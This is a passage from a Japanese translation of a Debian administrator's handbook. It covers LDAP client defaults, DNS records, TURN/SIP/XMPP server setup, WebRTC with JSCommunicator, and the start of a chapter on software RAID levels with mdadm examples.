最後に重要なことですが、さまざまなコマンドラインツールで使われるデフォルトの LDAP URI とデフォルトのベース識別名は /etc/ldap/ldap.conf を編集すれば変更することが可能です。こうすることで、入力する量を激減させることが可能です。

例 11.29　/etc/ldap/ldap.conf ファイル

```
#
# LDAP のデフォルト設定
#

# 詳細は ldap.conf(5) を参照してください。全ユーザに対して
# このファイルの読み込みを許可し、書き込みを禁止してください。

BASE   dc=falcot,dc=com
URI    ldaps://ldap.falcot.com

#SIZELIMIT      12
#TIMELIMIT      15
#DEREF          never

# TLS 証明書 (これは GnuTLS を使う場合に必要です)
TLS_CACERT      /etc/ssl/certs/ca-certificates.crt
```

11.8. リアルタイムコミュニケーションサービス

リアルタイムコミュニケーション (RTC) サービスには音声、動画/ウェブカメラ、インスタントメッセージ (IM) およびデスクトップ共有などがあります。この節では RTC を活用するために必要な 3 種類のサービスで

ある TURN サーバ、SIP サーバ、XMPP サーバについて簡単に紹介します。これらのサービスを準備、インストール、管理するための包括的かつ詳細な情報を参照するには、リアルタイムコミュニケーションクイックスタートガイドをご覧ください。これには Debian 固有の例も含まれています。

➡ http://rtcquickstart.org

SIP と XMPP はどちらも同じ機能を持っています。SIP は音声と動画用としてよく知られています。これに対して XMPP は伝統的に IM プロトコル用と考えられています。しかし実際のところ SIP と XMPP のどちらを使っても音声、動画、IM サービスを提供することが可能です。ただし、さまざまな方法で接続できるようにするためには SIP と XMPP の両方を同時に運用することを推奨します。

SIP サービスおよび XMPP サービスでは認証と秘匿性を保持する目的で X.509 証明書を使います。X.509 証明書を作成する方法の詳細は第 10.2.1.1 節「公開鍵基盤、**easy-rsa**」224 ページを参照してください。また、**リアルタイムコミュニケーションクイックスタートガイド**にも有益な情報が含まれています。

➡ http://rtcquickstart.org/guide/multi/tls.html

11.8.1. RTC サービス用の DNS 設定

RTC サービスを提供するには DNS SRV および NAPTR レコードが必要です。falcot.com 用のゾーンファイルに含める設定の見本は以下の通りです。

```
; すべてのサービスが実行されるサーバ
server1             IN      A       198.51.100.19
server1             IN      AAAA    2001:DB8:1000:2000::19

; 一部の TURN クライアントは IPv6 の取り扱いにバグがあるので TURN サービスは IPv4 アドレスのみ
turn-server         IN      A       198.51.100.19

; SIP サービス用の IPv4 と IPv6 アドレス。
sip-proxy           IN      A       198.51.100.19
sip-proxy           IN      AAAA    2001:DB8:1000:2000::19

; XMPP サービス用の IPv4 と IPv6 アドレス。
xmpp-gw             IN      A       198.51.100.19
xmpp-gw             IN      AAAA    2001:DB8:1000:2000::19

; STUN と TURN サービス用の DNS SRV および NAPTR レコード
_stun._udp  IN SRV    0 1 3467 turn-server.falcot.com.
_turn._udp  IN SRV    0 1 3467 turn-server.falcot.com.
@           IN NAPTR  10 0 "s" "RELAY:turn.udp" "" _turn._udp.falcot.com.

; SIP サービス用の DNS SRV および NAPTR レコード
_sips._tcp  IN SRV    0 1 5061 sip-proxy.falcot.com.
@           IN NAPTR  10 0 "s" "SIPS+D2T" "" _sips._tcp.falcot.com.

; XMPP サーバとクライアント用の DNS SRV レコード
_xmpp-client._tcp  IN      SRV    5 0 5222 xmpp-gw.falcot.com.
_xmpp-server._tcp  IN      SRV    5 0 5269 xmpp-gw.falcot.com.
```

11.8.2. TURN サーバ

TURN は NAT ルータの背後にいるクライアントを助けるサービスです。さらに TURN は他のクライアントと通信するための最も適切な方法、直接のメディアパスが見つからない状態でメディアストリームを中継するための最も適切な方法を発見するファイアウォールでもあります。エンドユーザに提供する RTC サービスをインストールする前に TURN サーバをインストールすることを強く推奨します。

TURN とそれに関連する ICE プロトコルはオープン標準です。TURN および ICE プロトコルからの恩恵を受け、数多くの接続方法を提供してユーザの不満を低減するには、すべてのクライアントソフトウェアが ICE および TURN をサポートしている点を確認することが重要です。

ICE アルゴリズムを効果的に動作させるには、サーバが 2 種類の公開 IPv4 アドレスを持つ必要があります。

TURN サーバのインストール

最初に **resiprocate-turn-server** パッケージをインストールします。

その後 `/etc/reTurn/reTurnServer.config` 設定ファイルを編集します。ここで忘れてはいけないのはサーバの IP アドレスを書き込むことです。

```
# 以下でサーバの IP アドレスを指定します。
TurnAddress = 198.51.100.19
TurnV6Address = 2001:DB8:1000:2000::19
AltStunAddress = 198.51.100.20
# 以下で認証レルム名を指定します。既にパスワードが HA1
# アルゴリズムでハッシュ化されているならば、この値はハッシュ化
# の際に使った認証レルム名と一致しなければいけません。
AuthenticationRealm = myrealm

UserDatabaseFile = /etc/reTurn/users.txt
UserDatabaseHashedPasswords = true
```

その後サービスを再起動してください。

TURN ユーザの管理

TURN サーバのユーザリストを管理するには htdigest ユーティリティを使います。

```
# htdigest /etc/reTurn/users.txt myrealm joe
```

サーバに `/etc/reTurn/users.txt` ファイルを再読み込みさせるにはファイル編集後に HUP シグナルを送信するか、`/etc/reTurn/reTurnServer.config` 内の自動再読み込み機能を有効化します。

11.8.3. SIP プロキシサーバ

SIP プロキシサーバはさまざまな組織、SIP トンネルプロバイダ、Asterisk などの SIP PBX、SIP フォン、SIP を使うソフトフォン、WebRTC アプリケーションなどの間での SIP 接続の着信および発信を管理します。

SIP PBX のセットアップを試みる前に SIP プロキシをインストールおよび設定することを強く推奨します。SIP プロキシは PBX に到達する数多くのトラフィックを正常化し、高い接続性能と復元性能をもたらします。

SIP プロキシのインストール

最初に **repro** パッケージをインストールします。**repro** パッケージは **jessie-backports** のパッケージを使うことを強く推奨します。なぜなら、**jessie-backports** のパッケージには接続性能と復元性能を最大化する最新の改良がなされているからです。

次に /etc/repro/repro.config 設定ファイルを編集します。ここでは必ず SIP プロキシサーバの IP アドレスを記入してください。以下の例では TLS、IPv4、IPv6 を使う標準的な SIP および WebSockets/WebRTC を設定しています。

```
# 以下では TLS 上の SIP 接続用に Transport1 を設定しています。ポート
# 5061 番を指定していますが、ファイアウォールの背後にいるクライアント
# を考慮する必要があるならば、ポート 443 番を指定することも可能です。
Transport1Interface = 198.51.100.19:5061
Transport1Type = TLS
Transport1TlsDomain = falcot.com
Transport1TlsClientVerification = Optional
Transport1RecordRouteUri = sip:falcot.com;transport=TLS
Transport1TlsPrivateKey = /etc/ssl/private/falcot.com-key.pem
Transport1TlsCertificate = /etc/ssl/public/falcot.com.pem

# Transport2 は IPv6 向けの Transport1 です。
Transport2Interface = 2001:DB8:1000:2000::19:5061
Transport2Type = TLS
Transport2TlsDomain = falcot.com
Transport2TlsClientVerification = Optional
Transport2RecordRouteUri = sip:falcot.com;transport=TLS
Transport2TlsPrivateKey = /etc/ssl/private/falcot.com-key.pem
Transport2TlsCertificate = /etc/ssl/public/falcot.com.pem

# 以下では WebSocket (WebRTC) 上の SIP 接続用に Transport3 を設定
# しています。ポート 8443 番の代わりに 443 番を使うことも可能です。
Transport3Interface = 198.51.100.19:8443
Transport3Type = WSS
Transport3TlsDomain = falcot.com
# ブラウザに証明書を送信するよう要求しますが、現在これをサポートする
# ブラウザは存在しませんので None のままにしておいてください。
Transport3TlsClientVerification = None
Transport3RecordRouteUri = sip:falcot.com;transport=WSS
Transport3TlsPrivateKey = /etc/ssl/private/falcot.com-key.pem
Transport3TlsCertificate = /etc/ssl/public/falcot.com.pem

# Transport4 は IPv6 向けの Transport3 です。
Transport4Interface = 2001:DB8:1000:2000::19:8443
Transport4Type = WSS
Transport4TlsDomain = falcot.com
```

```
Transport4TlsClientVerification = None
Transport4RecordRouteUri = sip:falcot.com;transport=WSS
Transport4TlsPrivateKey = /etc/ssl/private/falcot.com-key.pem
Transport4TlsCertificate = /etc/ssl/public/falcot.com.pem

# Transport5 は内部ネットワーク上の Asterisk サーバに対する
# TCP 接続を可能にするものです。ファイアウォールを設定して、
# ポート 5060 番を通過する通信を外部に漏らさないようにしてください。
Transport5Interface = 198.51.100.19:5060
Transport5Type = TCP
Transport5RecordRouteUri = sip:198.51.100.19:5060;transport=TCP

HttpBindAddress = 198.51.100.19, 2001:DB8:1000:2000::19
HttpAdminUserFile = /etc/repro/users.txt

RecordRouteUri = sip:falcot.com;transport=tls
ForceRecordRouting = true
EnumSuffixes = e164.arpa, sip5060.net, e164.org
DisableOutbound = false
EnableFlowTokens = true
EnableCertificateAuthenticator = True
```

さらに htdigest ユーティリティを使ってウェブインターフェース用の管理者パスワードを管理します。ユーザ名は **admin** でなければいけません。また、レルム名は repro.config 設定ファイルで指定したものに一致しなければいけません。

```
# htdigest /etc/repro/users.txt repro admin
```

その後、新しい設定を使ってサービスを再起動します。

SIP プロキシの管理

それではウェブインターフェース http://sip-proxy.falcot.com:5080 にアクセスして、ドメイン、ローカルユーザ、静的ルーティングを追加して設定を完了させましょう。

最初にローカルドメインを追加します。リストからドメインを追加したり削除したら、必ずこの作業をやり直す必要があります。

SIP プロキシはローカルユーザと完全な SIP アドレスの間で電話呼び出しをルーティングする方法を知っています。デフォルト設定を上書きする必要がある場合のみルーティング設定を行う必要があります。たとえば電話番号を認識させたり、プレフィックスを追加したり、SIP プロバイダに電話番号をルーティングする場合などがこれに相当します。

11.8.4. XMPP サーバ

XMPP サーバはローカル XMPP ユーザと公開インターネット上の他のドメインに所属する XMPP ユーザの間の接続を管理します。

VOCABULARY
XMPP か Jabber か?

XMPP は Jabber と呼ばれることがあります。実際のところ、Jabber とは商標であり、XMPP は標準規格の公式名です。

Prosody は人気の XMPP サーバであり、Debian サーバ上で安定動作します。

XMPP サーバのインストール

最初に **prosody** パッケージをインストールします。**prosody** パッケージは **jessie-backports** のパッケージを使うことを強く推奨します。なぜなら、**jessie-backports** のパッケージには接続性能と復元性能を最大化する最新の改良がなされているからです。

次に /etc/prosody/prosody.cfg.lua 設定ファイルを検査します。ここではサーバを管理することを許可するユーザの JID を書き込むことを忘れないでください。

```
admins = { "joe@falcot.com" }
```

また、各ドメインに対する設定ファイルも必要です。/etc/prosody/conf.avail/example.com.cfg.lua からサンプルをコピーして、これを足掛かりとして使ってください。以下は falcot.com.cfg.lua の例です。

```
VirtualHost "falcot.com"
        enabled = true
        ssl = {
                key = "/etc/ssl/private/falcot.com-key.pem";
                certificate = "/etc/ssl/public/falcot.com.pem";
                }
```

falcot.com ドメインを有効化するには、このファイルへのシンボリックリンクを /etc/prosody/conf.d/ の中に作ってください。これを行うには以下のコマンドを実行します。

```
# ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/
```

その後、新しい設定を使ってサービスを再起動します。

XMPP サーバの管理

一部の管理操作は prosodyctl コマンドラインユーティリティを使って実行することが可能です。たとえば、/etc/prosody/prosody.cfg.lua の中で指定した管理者アカウントをユーザアカウントに追加するには、以下のコマンドを実行します。

```
# prosodyctl adduser joe@falcot.com
```

設定をカスタマイズする方法に関する詳しい情報を参照するには Prosody のオンライン文書[1]をご覧ください。

[1] http://prosody.im/doc/configure

11.8.5. ポート 443 番でサービスを実行する

すべての RTC サービスをポート 443 番で実行したいと思う管理者がいるかもしれません。こうすることで、他のポートがふさがれていたり HTTP プロキシサーバを通じてインターネットトラフィックをルーティングしているような、ホテルや空港などのリモート場所から接続するユーザを受け入れることが可能になります。

この方針を採用する場合、それぞれのサービス (SIP、XMPP、TURN) に別々の IP アドレスを設定する必要があります。しかし、すべてのサービスは同じホスト上で運用することが可能です。なぜなら Linux は 1 台のホスト上で複数の IP アドレスを取り扱うことが可能だからです。この場合、それぞれのサービスに対する設定ファイルおよび DNS SRV レコードの中でポート番号 (今回の場合 443 番) を指定しなければいけません。

11.8.6. WebRTC の追加

Falcot は顧客がウェブサイトから電話をかけることができるようしたいと思っています。また Falcot の管理者は障害復旧策の一部として WebRTC を使いたいと思っています。こうすることでスタッフは自宅からウェブブラウザを使って会社の電話システムにログインし、緊急時にも通常と同じ環境で作業を行うことが可能になります。

IN PRACTICE

WebRTC を試す

これまでに WebRTC を試した経験がないのなら、オンラインデモおよび設備テストを提供するさまざまなサイトが存在します。

➡ `http://www.sip5060.net/test-calls`

WebRTC は急速に進化している技術で、**jessie-backports** または**テスト版**ディストリビューションに含まれるパッケージを使うことが不可欠です。

JSCommunicator は包括的かつノーブランドの WebRTC 電話で、PHP などのスクリプトサポートをサーバ側で用意する必要がありません。JSCommunicator はもっぱら HTML、CSS、JavaScript だけで作られています。JSCommunicator は他の数多くの WebRTC サービスの基盤となっており、先進的なウェブパブリッシングフレームワークの部品でもあります。

➡ `http://jscommunicator.org`

jscommunicator-web-phone パッケージをインストールすることは WebRTC 電話をウェブサイトにインストールする最も素早い方法です。**jscommunicator-web-phone** パッケージを使うには WebSocket 転送をサポートする SIP プロキシが必要です。**repro** SIP プロキシで WebSocket 転送を有効化するために必要な詳細除法を参照するには第 11.8.3.1 節「SIP プロキシのインストール」294 ページをご覧ください。

jscommunicator-web-phone をインストールしたら、これを使う方法はさまざまあります。最も簡単な方法は、Apache 仮想ホスト設定ファイルから `/etc/jscommunicator-web-phone/apache.conf` を読みこんだり、Apache 仮想ホスト設定ファイルにこれをコピーする方法です。

この web-phone ファイルがウェブサーバから利用できるようになったら、`/etc/jscommunicator-web-phone/config.js` をカスタマイズして、TURN サーバと SIP プロキシを指定します。以下はその例です。

```
JSCommSettings = {

  // ウェブサーバ環境
  webserver: {
```

```
  url_prefix: null             // 設定済みならば、その値を sounds/ 以下の URL に前置します
},

// STUN/TURN メディアリレー
stun_servers: [],
turn_servers: [
  { server:"turn:turn-server.falcot.com?transport=udp", username:"joe", password:"
      ➥ j0Ep455d" }
],

// WebSocket 接続
websocket: {
    // ここでは falcot.com ドメイン証明書とポート 8443 番を
    // 指定しています。これは falcot.com 用 repro.config
    // ファイルの Transport3 および Transport4 に相当します
  servers: 'wss://falcot.com:8443',
  connection_recovery_min_interval: 2,
  connection_recovery_max_interval: 30
},

...
```

クリックして電話をかける機能を備えたウェブサイトの中でもさらに先進的なサイトでは、典型的にサーバ側スクリプトを使って config.js ファイルを動的に生成しています。DruCall[2] のソースコードを読むと PHP を使って config.js ファイルを動的に生成する方法がわかります。

この章では、利用できるサーバソフトウェアのうちのほんのわずかなソフトウェアだけに注目しました。しかしながら、ほとんどの一般的なネットワークサービスについて言及しました。今や、より技術的な章に入る準備が整ったと言えます。具体的に言えば、一部の概念に関してより詳細を解説し、大規模な配備と仮想化について説明します。

[2] http://drucall.org

キーワード

RAID
LVM
FAI
Preseed
監視
仮想化
Xen
LXC

章

12

高度な管理

目次

RAID と LVM 302　仮想化 322　自動インストール 339　監視 345

この章では、前章までに説明した一部の側面を異なる視点からもう一度取り上げます。すなわち、1 台のコンピュータにインストールするのではなく、大規模な配備システムについて学びます。さらに、初回インストール時に RAID や LVM ボリュームを作成するのではなく、手作業でこれを行う方法について学びます。こうすることで初回インストール時の選択を訂正することが可能です。最後に、監視ツールと仮想化技術について議論します。その結果として、この章はより熟練した管理者を対象にしており、ホームネットワークに責任を負う個人を対象にしていません。

12.1. RAID と LVM

第 4 章「インストール」48 ページではインストーラの視点から RAID と LVM の技術を説明し、インストーラを使って初回インストール時に RAID や LVM を簡単に配備する方法について説明しました。初回インストールが終わったら、管理者は再インストールという手間のかかる最終手段を行使することなく、より大きなストレージ領域の要求に対処しなければいけません。すなわち、管理者は RAID と LVM ボリュームを操作するために必要なツールを理解しなければいけません。

RAID と LVM は両方ともマウントされたボリュームを物理的に対応する物 (実際のハードディスクドライブまたはそのパーティション) から抽象化する技術です。さらに、RAID は冗長性を導入することでデータをハードディスク障害から守り、LVM はボリューム管理をより柔軟にしてディスクの実サイズに依存しないようにします。どちらの場合であっても、最終的にシステムには新しいブロックデバイスが追加されます。追加されたブロックデバイスはファイルシステムやスワップ領域を作成するために使われますが、必ずしも単独の物理ディスクに対応付けられるものではありません。RAID と LVM は全く異なる生い立ちを持っていますが、両者の機能は多少重複しています。このため、両者は一緒に言及されることが多いです。

PERSPECTIVE

Btrfs が LVM と RAID を結び付ける

LVM と RAID は 2 種類の全く別のカーネルサブシステムで、どちらもディスクブロックデバイスとそのファイルシステムの間のやり取りを担当します。**btrfs** は最初 Oracle で開発された新しいファイルシステムで、LVM と RAID の機能を結び付けると主張しています。**btrfs** は開発がまだ完了していない (一部の機能がまだ実装されていない) ため「実験中」とタグ付けされていますが、ほとんどうまく機能し、既に本番環境で使われています。

➨ `http://btrfs.wiki.kernel.org/`

btrfs の特筆すべき機能に、任意の時点におけるファイルシステムツリーのスナップショットを取る機能があります。このスナップショットコピーは初期状態ではいかなるディスク領域も使いません、コピー内容の 1 つが修正された際にデータが複製されます。また、このファイルシステムはファイルを透過的に圧縮することが可能で、さらにチェックサムを用いて保存されているデータの完全性を保証します。

RAID と LVM のどちらの場合も、カーネルはハードディスクドライブやパーティションに対応するブロックデバイスファイルとよく似たブロックデバイスファイルを提供します。アプリケーションやカーネルの別の部分がそのようなデバイスのあるブロックにアクセスを要求する場合、適切なサブシステムが要求されたブロックを物理層のブロックに対応付けます。設定に依存して、アプリケーション側から見たブロックは単独か複数の物理ディスクに保存されます。このブロックの物理的場所は論理デバイス内のブロックの位置と直接的に対応するものではないかもしれません。

12.1.1. ソフトウェア RAID

RAID は **Redundant Array of Independent Disks** を意味します。RAID システムの目標はハードディスク障害の際にデータ損失を防ぐことです。一般原則は極めて単純です。すなわち、データは設定できる冗長性のレベルに基づいて単独ではなく複数のディスクに保存されます。冗長性の度合いに依存して、たとえ予想外のディスク障害が起きた場合でも、データを残りのディスクから損失なく再構成することが可能です。

CULTURE

independent それとも inexpensive?

当初、RAID の I は **inexpensive** を意味していました。なぜなら、RAID は高価な高性能ディスクへ投資することなくデータの安全性を劇的に高めることが可能だったからです。しかしながらおそらく心証的な懸念から、現在 RAID の I は通例 **independent** を意味するものとされます。**independent** には安価であることに対する悪い印象がないからです。

RAID は専用ハードウェア (SCSI や SATA コントローラカードに統合された RAID モジュール) またはソフトウェア抽象化 (カーネル) を使って実装することが可能です。ハードウェアかソフトウェアかに関わらず、十分な冗長性を備えた RAID システムはディスク障害があっても利用できる状態を透過的に継続することが可能です。従って、スタックの上層 (アプリケーション) はディスク障害にも関わらず、引き続きデータにアクセスできます。もちろん「信頼性低下状態」は性能に影響をおよぼし、冗長性を低下させます。このため、もう一つ別のディスク障害が起きるとデータを失うことになります。このため実践的には、管理者は信頼性低下状態を障害の起きたディスクが交換されるまでの間だけに留めるように努力します。新しいディスクが配備されると、RAID システムは要求されたデータを再構成することが可能です。こうすることで信頼性の高い状態に戻ります。信頼性低下状態か再構成状態にある RAID アレイのアクセス速度は低下する可能性がありますが、この点を除けばアプリケーションがディスク障害に気が付くことはないでしょう。

RAID がハードウェアで実装された場合、その設定は通常 BIOS セットアップツールによってなされます。カーネルは RAID アレイを標準的な物理ディスクとして機能する単一のディスクとみなします。RAID アレイのデバイス名は (ドライバに依存して) 違うかもしれません。

本書ではソフトウェア RAID だけに注目します。

さまざまな RAID レベル

実際のところ RAID の種類は 1 種類だけではなく、そのレベルによって識別される複数の種類があります。すなわち、設計と提供される冗長性の度合いが異なる複数の RAID レベルが存在します。より冗長性を高くすれば、より障害に強くなります。なぜなら、より多くのディスクで障害が起きても、システムを動かし続けることができるからです。これに応じて、与えられた一連のディスクに対して利用できる領域が小さくなります。すなわち、あるサイズのデータを保存するために必要なディスク領域のサイズが多くなります。

リニア RAID カーネルの RAID サブシステムを使えば「リニア RAID」を作ることも可能ですが、「リニア RAID」は適切な RAID ではありません。なぜなら、「リニア RAID」には冗長性が一切ないからです。カーネルはただ単純に複数のディスク端同士を統合し、統合されたボリュームを 1 つの仮想ディスク (1 つのブロックデバイス) として提供するだけです。これが「リニア RAID」のすべてです。「リニア RAID」を使うのは極めてまれな場合に限られます (後から使用例を説明します)。なぜなら、冗長性がないということは 1 つのディスクの障害が統合されたボリューム全体を駄目にすること、ひいてはすべてのデータを駄目にすることを意味するからです。

RAID-0 同様に RAID-0 にも冗長性がありません。しかしながら、RAID-0 は順番通り単純に物理ディスクを連結する構成ではありません。すなわち、物理ディスクは**ストライプ状**に分割され、仮想デバイスのブロックは互い違いになった物理ディスクのストライプに保存されます。たとえば 2 台のディスクから構成されている RAID-0 セットアップでは、偶数を付番されたブロックは最初の物理ディスクに保存され、奇数を付番されたブロックは 2 番目の物理ディスクに保存されます。

RAID-0 システムを使っても信頼性は向上しません。なぜなら、システムの信頼性すなわちデータの可用性は (リニア RAID と同様に) ディスク障害があればすぐに脅かされるからです。しかしながら、RAID-0 システムを使うことで性能は向上します。すなわち隣接した巨大なデータにシーケンシャルアクセスする場合、カーネルは両方のディスクから並行して読み込む (書き込む) ことが可能です。これによりデータの転送率が増加します。とは言うものの、RAID-0 が使われる機会は減り、代わりに LVM (後から説明します) が使われるようになっています。

RAID-1 RAID-1 は「RAID ミラーリング」としても知られ、最も簡単で最も広く使われています。RAID-1 の標準的な構成では、同じサイズの 2 台の物理ディスクを使い、物理ディスクと同じサイズの論理ボリュームが利用できるようになります。データを両方のディスクに保存するため、「ミラー」と呼ばれています。一方のディスクに障害があっても、他方のディスクからデータを利用することが可能です。もちろん、非常に重要なデータ用に RAID-1 を 2 台以上の構成にすることも可能ですが、これはハードウェア費用と利用できる保存領域の比率に直接的な影響をおよぼします。

NOTE

ディスクとクラスタサイズ

異なるサイズの 2 台のディスクをミラーでセットアップする場合、サイズの大きい側のディスクは完全に利用されません。なぜなら、大きい側のディスクに含まれるデータは最も小さいディスクに含まれるデータと同じデータだからです。このため RAID-1 ボリュームで提供される利用できる領域のサイズは RAID アレイの最も小さなディスクのサイズと同じになります。冗長性を異なる方法で確保しているより高い RAID レベルの RAID ボリュームに対しても同じことが言えます。

それ故、(RAID-0 と「リニア RAID」以外の) RAID アレイをセットアップする場合、資源の無駄を防ぐためにアレイを構成するディスクはそのサイズが完全に同じか近いものを使うことが重要です。

NOTE

予備ディスク

冗長性を持たせた RAID レベルでは、必要なディスク数よりも多くのディスクで RAID アレイを構成させることが可能です。追加的ディスクは主要ディスクに障害が起きた場合に予備として使われます。たとえば、2 台のディスクと 1 台の予備ディスクのミラー構成では、最初の 2 台のうちの 1 台に障害が起きた場合、カーネルは自動的に (そして素早く) 予備ディスクを使ってミラーを再構成し、再構成の完了後に冗長性が再確保されます。すなわち、重要なデータに対するもう一つの安全装置として予備ディスクを使うことが可能ということです。

この方式が単純に 3 台のディスクに対して最初からミラーリングを行うよりも優れているとされることに疑問を持つかもしれません。「予備ディスク」を設定する利点は複数の RAID ボリュームで予備ディスクを共有することが可能という点です。たとえば、1 台のディスク障害に対する冗長性を確保した 3 つのミラーされたボリュームを構成するには、ディスクを 7 台 (3 つのペアと 1 台の共有された予備) 用意するだけですみます。これに対して各ボリュームに 3 台のディスクを用意する場合には 9 台のディスクが必要です。

RAID-1 は高価であるにも関わらず (良くても物理ストレージ領域のたった半分しか使えないにも関わらず)、広く実運用されています。RAID-1 は簡単に理解でき、簡単にバックアップできます。なぜなら両方のディスクが全く同じ内容を持っているため、片方を一時的に取り外しても運用システムに影響をおよぼさないからです。通常 RAID-1 を使うことで、読み込み性能は好転します。なぜなら、カーネルはデータの半分をそれぞれのディスクから並行して読むことができるからです。これに対して、書き込み性能はそれほど悪化しません。N 台のディスクからなる RAID-1 アレイの場合、データは N-1 台のディスク障害に対して保護されます。

RAID-4 RAID-4 は広く使われていません。RAID-4 は実データを保存するために N 台のディスクを使い、冗長性情報を保存するために 1 台の「パリティ」ディスクを使います。「パリティ」ディスクに障害が起きた場合、システムは他の N 台からデータを再構成することが可能です。N 台のデータディスクのうち、最大で 1 台に障害が起きた場合、残りの N-1 台と「パリティ」ディスクには、要求されたデータを再構成するために十分な情報が含まれます。

RAID-4 は高価過ぎるというわけではありません。なぜならディスク 1 台につきたった N 分の 1 台分の追加費用で済むからです。また RAID-4 を使うと読み込み性能が大きく低下するというわけでもあ

りません。しかしながら、RAID-4 は書き込み性能に深刻な影響をおよぼします。加えて、N 台の実データ用ディスクのどのディスクに書き込んでもパリティディスクに対する書き込みが発生するので、パリティディスクは実データ用ディスクに比べて書き込み回数が増えます。その結果、パリティディスクは極めて寿命が短くなります。RAID-4 アレイのデータは (N+1 台のディスクのうち) 1 台の障害に対して保護されます。

RAID-5 RAID-5 は RAID-4 の非対称性問題を対処したものです。すなわち、パリティブロックは N+1 台のディスクに分散して保存され、特定のディスクが特定の役割を果たすことはありません。

読み込みと書き込み性能は RAID-4 と同様です。繰り返しになりますが、RAID-5 システムは (N+1 台のディスクのうち) 最大で 1 台までに障害が起きても動作します。

RAID-6 RAID-6 は RAID-5 の拡張と考えられます。RAID-6 では、N 個の連続するブロックに対して 2 個の冗長性ブロックを使います。この N+2 個のブロックは N+2 台のディスクに分散して保存されます。

RAID-6 は RAID-4 と RAID-5 に比べて少し高価ですが、RAID-6 を使うことで安全性はさらに高まります。なぜなら、(N+2 台中の) 最大で 2 台までの障害に対してデータを守ることが可能だからです。書き込み操作は 1 つのデータブロックと 2 つの冗長性ブロックを書き込むことに対応しますから、RAID-6 の書き込み性能は RAID-4 と RAID-5 に比べてさらに悪化します。

RAID-1+0 厳密に言えば RAID-1+0 は RAID レベルではなく、2 種類の RAID 分類を積み重ねたものです。RAID-1+0 を使うには 2×N 台のディスクが必要で、最初に 2 台ずつのペアから N 台の RAID-1 ボリュームを作ります。N 台の RAID-1 ボリュームは「リニア RAID」か LVM (次第にこちらを選ぶケースが増えています) のどちらか一方を使って 1 台に統合されます。LVM を使うと純粋な RAID ではなくなりますが、LVM を使っても問題はありません。

RAID-1+0 は複数のディスク障害を乗り切ることが可能です。具体的に言えば、上に挙げた 2×N アレイの場合、最大で N 台までの障害に耐えます。ただし、各 RAID-1 ペアを構成するディスクの両方に障害が発生してはいけません。

GOING FURTHER **RAID-10**	通常 RAID-10 は RAID-1+0 の同意語と考えられますが、Linux では特別に RAID-10 をより一般的な構成を可能にするものとして定めています。RAID-10 では、システムが各ブロックを 2 種類の異なるディスクに保存することが可能です。奇数台のディスク構成の場合でも、ブロックのコピーは設定可能なモデルに従って分散して保存されます。 RAID-10 の性能は選択した再分割モデルと冗長性の度合い、そして論理ボリュームの作業負荷に依存して変化します。

RAID レベルを選ぶ際には、各用途からの制限および要求を考慮する必要があるのは明らかです。1 台のコンピュータに異なる設定を持つ複数の RAID アレイを配置することが可能である点に注意してください。

RAID の設定

RAID ボリュームを設定するには **mdadm** パッケージが必要です。**mdadm** パッケージには RAID アレイを作成したり操作するための mdadm コマンド、システムの他の部分に RAID アレイを統合するためのスクリプトやツール、監視システムが含まれます。

以下の例では、多数のディスクを持つサーバをセットアップします。ディスクの一部は既に利用されており、残りは RAID をセットアップするために利用できるようになっています。最初の状態で、以下のディスクとパーティションが存在します。

- sdb ディスク (4 GB) は全領域を利用できます。
- sdc ディスク (4 GB) は全領域を利用できます。
- sdd ディスクは sdd2 パーティション (約 4 GB) だけを利用できます。
- sde ディスク (4 GB) は全領域を利用できます。

NOTE
既存の RAID ボリュームの識別
/proc/mdstat ファイルには既存のボリュームとその状態が書かれています。新しい RAID ボリュームを作成する場合、既存のボリュームと同じ名前を付けないように注意してください。

RAID-0 とミラー (RAID-1) の 2 つのボリュームを作るために上記の物理ディスクを使います。それでは RAID-0 ボリュームから作っていきましょう。

```
# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md0 started.
# mdadm --query /dev/md0
/dev/md0: 8.00GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail.
# mdadm --detail /dev/md0
/dev/md0:
        Version : 1.2
  Creation Time : Wed May  6 09:24:34 2015
     Raid Level : raid0
     Array Size : 8387584 (8.00 GiB 8.59 GB)
   Raid Devices : 2
  Total Devices : 2
    Persistence : Superblock is persistent

    Update Time : Wed May  6 09:24:34 2015
          State : clean
 Active Devices : 2
Working Devices : 2
 Failed Devices : 0
  Spare Devices : 0

     Chunk Size : 512K

           Name : mirwiz:0  (local to host mirwiz)
           UUID : bb085b35:28e821bd:20d697c9:650152bb
         Events : 0

    Number   Major   Minor   RaidDevice State
       0       8       16        0      active sync   /dev/sdb
       1       8       32        1      active sync   /dev/sdc
# mkfs.ext4 /dev/md0
```

```
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 2095104 4k blocks and 524288 inodes
Filesystem UUID: fff08295-bede-41a9-9c6a-8c7580e520a6
Superblock backups stored on blocks:
        32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
# mkdir /srv/raid-0
# mount /dev/md0 /srv/raid-0
# df -h /srv/raid-0
ファイルシス    サイズ  使用  残り 使用% マウント位置
/dev/md0         7.9G   18M  7.4G    1% /srv/raid-0
```

mdadm --create コマンドには複数のパラメータが必要です。具体的に言えば、作成するボリュームの名前 (/dev/md*、MD は **Multiple Device** を意味します)、RAID レベル、ディスク数 (普通この値は RAID-1 とそれ以上のレベルでのみ意味があるにも関わらず、これは必須オプションです)、RAID を構成する物理デバイスを指定する必要があります。RAID デバイスを作成したら、RAID デバイスを通常のパーティションを取り扱うのと同様のやり方で取り扱うことが可能です。すなわち、ファイルシステムを作成したり、ファイルシステムをマウントしたりすることが可能です。ここで作成する RAID-0 ボリュームに md0 と名前を付けたのは偶然に過ぎない点に注意してください。アレイに付けられた番号と冗長性の度合いを関連付ける必要はありません。また、/dev/md0 の代わりに /dev/md/linear のようなパラメータを mdadm に渡すことで、名前付き RAID アレイを作成することも可能です。

同様のやり方で RAID-1 を作成します。注意するべき違いは作成後に説明します。

```
# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde
mdadm: Note: this array has metadata at the start and
    may not be suitable as a boot device.  If you plan to
    store '/boot' on this device please ensure that
    your boot-loader understands md/v1.x metadata, or use
    --metadata=0.90
mdadm: largest drive (/dev/sdd2) exceeds size (4192192K) by more than 1%
Continue creating array? y
